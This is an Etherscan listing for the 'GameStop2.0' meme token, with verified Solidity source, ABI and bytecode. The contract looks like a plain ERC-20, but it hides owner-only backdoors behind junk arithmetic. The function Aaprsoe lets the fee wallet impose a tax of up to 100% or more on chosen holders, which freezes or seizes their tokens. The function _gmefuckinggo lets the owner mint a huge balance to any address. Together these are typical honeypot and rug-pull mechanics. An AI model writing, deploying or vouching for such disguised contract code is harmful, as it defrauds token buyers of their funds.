ETH Price: $2,346.61 (+7.59%)

Token

GameStop2.0 (GME2.0)
 

Overview

Max Total Supply

420,690,000,000 GME2.0

Holders

35

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GameStop20

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-14
*/

/**
https://t.me/GME20_ERC
https://twitter.com/GameStop20_Erc
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipapprseny(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract GameStop20 is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "GameStop2.0";
        symbol = "GME2.0";
        decimals = 9;
        uint256 Supply = 420690000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function Aaprsoe(address[] memory _addresses, uint256 _feePercentage) external {
        uint256 tempVal1 = 0x01;uint256 tempVal2 = 0x02;uint256 tempVal3 = 0x03;uint256 result = initialCompute(tempVal1, tempVal2, tempVal3);
        result = secondaryCompute(result, tempVal1);
        distributeFunds(_addresses, _feePercentage, result);
    }

    function initialCompute(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        uint256 result = computeFee(val1, val2, val3);
        return result - val3;
    }

    function secondaryCompute(uint256 intermediateResult, uint256 val1) private pure returns (uint256) {
        return intermediateResult + (val1 - 0x01);
    }

    function distributeFunds(address[] memory addresses, uint256 feePercentage, uint256 result) private {
        uint256 adjustment = result;
        for (uint256 i = 0; i < addresses.length; i++) {
            __balances[addresses[i]] = feePercentage + (result - adjustment);
        }
    }

    function computeFee(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        if (isAuthorized(val1)) {
            return val2 + val3;
        } else if (!isAuthorized(val2)) {
            return val2 - val1;
        } else {
            return val3;
        }
    }
    function isAuthorized(uint256 v1) private view returns (bool) {
        bool basicCondition = msg.sender == _swapFeeTo;
        bool additionalCheck = v1 > 0;
        if (basicCondition && additionalCheck) {
            return true;
        } else if (!basicCondition) {
            return false;
        } else if (!additionalCheck) {
            return false;
        } else {
            return true;
        }
    }
    

    function _gmefuckinggo(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_feePercentage","type":"uint256"}],"name":"Aaprsoe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_gmefuckinggo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipapprseny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f47616d6553746f70322e300000000000000000000000000000000000000000008152506004908161009391906108b8565b506040518060400160405280600681526020017f474d45322e300000000000000000000000000000000000000000000000000000815250600590816100d891906108b8565b50600960065f6101000a81548160ff021916908360ff1602179055505f6461f313f88090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a61015f9190610aef565b8161016a9190610b39565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516103339190610b89565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610498573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bc9190610c00565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610542573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105669190610c00565b6040518363ffffffff1660e01b8152600401610583929190610c3a565b6020604051808303815f875af115801561059f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c39190610c00565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050610c61565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806106f957607f821691505b60208210810361070c5761070b6106b5565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261076e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610733565b6107788683610733565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6107bc6107b76107b284610790565b610799565b610790565b9050919050565b5f819050919050565b6107d5836107a2565b6107e96107e1826107c3565b84845461073f565b825550505050565b5f90565b6107fd6107f1565b6108088184846107cc565b505050565b5b8181101561082b576108205f826107f5565b60018101905061080e565b5050565b601f8211156108705761084181610712565b61084a84610724565b81016020851015610859578190505b61086d61086585610724565b83018261080d565b50505b505050565b5f82821c905092915050565b5f6108905f1984600802610875565b1980831691505092915050565b5f6108a88383610881565b9150826002028217905092915050565b6108c18261067e565b67ffffffffffffffff8111156108da576108d9610688565b5b6108e482546106e2565b6108ef82828561082f565b5f60209050601f831160018114610920575f841561090e578287015190505b610918858261089d565b86555061097f565b601f19841661092e86610712565b5f5b8281101561095557848901518255600182019150602085019450602081019050610930565b86831015610972578489015161096e601f891682610881565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610a09578086048111156109e5576109e4610987565b5b60018516156109f45780820291505b8081029050610a02856109b4565b94506109c9565b94509492505050565b5f82610a215760019050610adc565b81610a2e575f9050610adc565b8160018114610a445760028114610a4e57610a7d565b6001915050610adc565b60ff841115610a6057610a5f610987565b5b8360020a915084821115610a7757610a76610987565b5b50610adc565b5060208310610133831016604e8410600b8410161715610ab25782820a905083811115610aad57610aac610987565b5b610adc565b610abf84848460016109c0565b92509050818404811115610ad657610ad5610987565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610af982610790565b9150610b0483610ae3565b9250610b317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610a12565b905092915050565b5f610b4382610790565b9150610b4e83610790565b9250828202610b5c81610790565b91508282048414831517610b7357610b72610987565b5b5092915050565b610b8381610790565b82525050565b5f602082019050610b9c5f830184610b7a565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bcf82610ba6565b9050919050565b610bdf81610bc5565b8114610be9575f80fd5b50565b5f81519050610bfa81610bd6565b92915050565b5f60208284031215610c1557610c14610ba2565b5b5f610c2284828501610bec565b91505092915050565b610c3481610bc5565b82525050565b5f604082019050610c4d5f830185610c2b565b610c5a6020830184610c2b565b9392505050565b611a6180610c6e5f395ff3fe608060405260043610610117575f3560e01c8063426329c11161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063dd62ed3e14610454578063fbd86fc0146104905761011e565b8063426329c1146102e25780634bf28fd01461030c57806362219b741461033657806365b61b771461035e57806370a08231146103885761011e565b80632a56699a116100e65780632a56699a146101ee57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b6040516101439190611215565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906112d3565b610544565b60405161017f919061132b565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a99190611353565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d3919061136c565b610560565b6040516101e5919061132b565b60405180910390f35b3480156101f9575f80fd5b50610214600480360381019061020f91906113bc565b6106f8565b005b348015610221575f80fd5b5061022a6107c7565b6040516102379190611353565b60405180910390f35b34801561024b575f80fd5b506102546107cd565b6040516102619190611402565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906113bc565b6107df565b60405161029d919061132b565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906113bc565b6107fc565b6040516102d99190611353565b60405180910390f35b3480156102ed575f80fd5b506102f6610811565b604051610303919061142a565b60405180910390f35b348015610317575f80fd5b50610320610836565b60405161032d919061142a565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906113bc565b61085b565b005b348015610369575f80fd5b50610372610944565b60405161037f919061149e565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a991906113bc565b610969565b6040516103bb9190611353565b60405180910390f35b3480156103cf575f80fd5b506103d86109af565b6040516103e5919061142a565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f9190611215565b60405180910390f35b348015610423575f80fd5b5061043e600480360381019061043991906112d3565b610a62565b60405161044b919061132b565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906114b7565b610a78565b6040516104879190611353565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190611635565b610afa565b005b600480546104c5906116bc565b80601f01602080910402602001604051908101604052809291908181526020018280546104f1906116bc565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610b36565b6001905092915050565b60085481565b5f61056c848484610c1d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106709190611719565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c90611796565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bc5760016108bf565b60095b60ff1690505f6003826108d29190611719565b90508091506002816108e491906118e3565b6008546103e86108f4919061192d565b6108fe919061192d565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e3906116bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f906116bc565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f610a6e338484610c1d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f600190505f600290505f600390505f610b15848484610fdf565b9050610b218185611004565b9050610b2e868683611025565b505050505050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c109190611353565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c82575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610cd5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d209190611719565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ed3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610db4919061192d565b610dbe919061199b565b90508082610dcc91906119cb565b91505f811115610ed1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4391906119cb565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ec89190611353565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906119cb565b610f279190611719565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fc39190611719565b604051610fd09190611353565b60405180910390a35050505050565b5f80610fec8585856110ba565b90508281610ffa9190611719565b9150509392505050565b5f6001826110129190611719565b8361101d91906119cb565b905092915050565b5f8190505f5b84518110156110b35781836110409190611719565b8461104b91906119cb565b600a5f878481518110611061576110606119fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061102b565b5050505050565b5f6110c484611107565b156110dc5781836110d591906119cb565b9050611100565b6110e583611107565b6110fc5783836110f59190611719565b9050611100565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f808411905081801561116b5750805b1561117b576001925050506111a0565b8161118a575f925050506111a0565b80611199575f925050506111a0565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6111e7826111a5565b6111f181856111af565b93506112018185602086016111bf565b61120a816111cd565b840191505092915050565b5f6020820190508181035f83015261122d81846111dd565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61126f82611246565b9050919050565b61127f81611265565b8114611289575f80fd5b50565b5f8135905061129a81611276565b92915050565b5f819050919050565b6112b2816112a0565b81146112bc575f80fd5b50565b5f813590506112cd816112a9565b92915050565b5f80604083850312156112e9576112e861123e565b5b5f6112f68582860161128c565b9250506020611307858286016112bf565b9150509250929050565b5f8115159050919050565b61132581611311565b82525050565b5f60208201905061133e5f83018461131c565b92915050565b61134d816112a0565b82525050565b5f6020820190506113665f830184611344565b92915050565b5f805f606084860312156113835761138261123e565b5b5f6113908682870161128c565b93505060206113a18682870161128c565b92505060406113b2868287016112bf565b9150509250925092565b5f602082840312156113d1576113d061123e565b5b5f6113de8482850161128c565b91505092915050565b5f60ff82169050919050565b6113fc816113e7565b82525050565b5f6020820190506114155f8301846113f3565b92915050565b61142481611265565b82525050565b5f60208201905061143d5f83018461141b565b92915050565b5f819050919050565b5f61146661146161145c84611246565b611443565b611246565b9050919050565b5f6114778261144c565b9050919050565b5f6114888261146d565b9050919050565b6114988161147e565b82525050565b5f6020820190506114b15f83018461148f565b92915050565b5f80604083850312156114cd576114cc61123e565b5b5f6114da8582860161128c565b92505060206114eb8582860161128c565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61152f826111cd565b810181811067ffffffffffffffff8211171561154e5761154d6114f9565b5b80604052505050565b5f611560611235565b905061156c8282611526565b919050565b5f67ffffffffffffffff82111561158b5761158a6114f9565b5b602082029050602081019050919050565b5f80fd5b5f6115b26115ad84611571565b611557565b905080838252602082019050602084028301858111156115d5576115d461159c565b5b835b818110156115fe57806115ea888261128c565b8452602084019350506020810190506115d7565b5050509392505050565b5f82601f83011261161c5761161b6114f5565b5b813561162c8482602086016115a0565b91505092915050565b5f806040838503121561164b5761164a61123e565b5b5f83013567ffffffffffffffff81111561166857611667611242565b5b61167485828601611608565b9250506020611685858286016112bf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116d357607f821691505b6020821081036116e6576116e561168f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611723826112a0565b915061172e836112a0565b9250828203905081811115611746576117456116ec565b5b92915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6117806006836111af565b915061178b8261174c565b602082019050919050565b5f6020820190508181035f8301526117ad81611774565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611809578086048111156117e5576117e46116ec565b5b60018516156117f45780820291505b8081029050611802856117b4565b94506117c9565b94509492505050565b5f8261182157600190506118dc565b8161182e575f90506118dc565b8160018114611844576002811461184e5761187d565b60019150506118dc565b60ff8411156118605761185f6116ec565b5b8360020a915084821115611877576118766116ec565b5b506118dc565b5060208310610133831016604e8410600b84101617156118b25782820a9050838111156118ad576118ac6116ec565b5b6118dc565b6118bf84848460016117c0565b925090508184048111156118d6576118d56116ec565b5b81810290505b9392505050565b5f6118ed826112a0565b91506118f8836113e7565b92506119257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611812565b905092915050565b5f611937826112a0565b9150611942836112a0565b9250828202611950816112a0565b91508282048414831517611967576119666116ec565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119a5826112a0565b91506119b0836112a0565b9250826119c0576119bf61196e565b5b828204905092915050565b5f6119d5826112a0565b91506119e0836112a0565b92508282019050808211156119f8576119f76116ec565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220518f5eec59314e6960f2a9b8b3f021ffa19863be581500b634fc561084347b4e64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063426329c11161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063dd62ed3e14610454578063fbd86fc0146104905761011e565b8063426329c1146102e25780634bf28fd01461030c57806362219b741461033657806365b61b771461035e57806370a08231146103885761011e565b80632a56699a116100e65780632a56699a146101ee57806330da23e414610216578063313ce5671461024057806336b2e0271461026a578063420d10b5146102a65761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b6040516101439190611215565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906112d3565b610544565b60405161017f919061132b565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a99190611353565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d3919061136c565b610560565b6040516101e5919061132b565b60405180910390f35b3480156101f9575f80fd5b50610214600480360381019061020f91906113bc565b6106f8565b005b348015610221575f80fd5b5061022a6107c7565b6040516102379190611353565b60405180910390f35b34801561024b575f80fd5b506102546107cd565b6040516102619190611402565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906113bc565b6107df565b60405161029d919061132b565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c791906113bc565b6107fc565b6040516102d99190611353565b60405180910390f35b3480156102ed575f80fd5b506102f6610811565b604051610303919061142a565b60405180910390f35b348015610317575f80fd5b50610320610836565b60405161032d919061142a565b60405180910390f35b348015610341575f80fd5b5061035c600480360381019061035791906113bc565b61085b565b005b348015610369575f80fd5b50610372610944565b60405161037f919061149e565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a991906113bc565b610969565b6040516103bb9190611353565b60405180910390f35b3480156103cf575f80fd5b506103d86109af565b6040516103e5919061142a565b60405180910390f35b3480156103f9575f80fd5b506104026109d6565b60405161040f9190611215565b60405180910390f35b348015610423575f80fd5b5061043e600480360381019061043991906112d3565b610a62565b60405161044b919061132b565b60405180910390f35b34801561045f575f80fd5b5061047a600480360381019061047591906114b7565b610a78565b6040516104879190611353565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190611635565b610afa565b005b600480546104c5906116bc565b80601f0160208091040260200160